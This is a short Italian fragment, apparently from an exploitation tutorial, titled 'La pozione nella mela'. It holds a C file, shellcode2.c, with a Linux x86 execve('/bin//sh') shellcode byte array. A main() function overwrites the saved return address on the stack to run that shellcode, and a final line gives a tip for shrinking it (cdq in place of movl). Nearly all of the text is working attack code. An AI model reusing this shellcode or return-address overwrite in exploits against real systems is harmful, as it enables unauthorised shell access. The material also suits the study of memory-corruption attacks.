La pozione nella mela


char shellcode[]=          [shellcode2.c]
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x89\xca\xb0\x0b\xcd\x80";
int main(void)
{
 int i,*PSRET;
 PSRET=(&i)+2;
 *PSRET=(int )shellcode;
}

A sfregio: movl %ecx,%edx' ----> cdq